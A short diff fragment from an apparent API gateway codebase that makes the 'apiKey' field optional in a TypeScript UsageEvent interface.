b/src/types/gateway.ts @@ -14,7 +14,7 @@ export interface ApiKey { export interface UsageEvent { id: string; requestId: string; - apiKey: string; + apiKey?: string; apiKeyId: string; apiId: string; endpointId: string;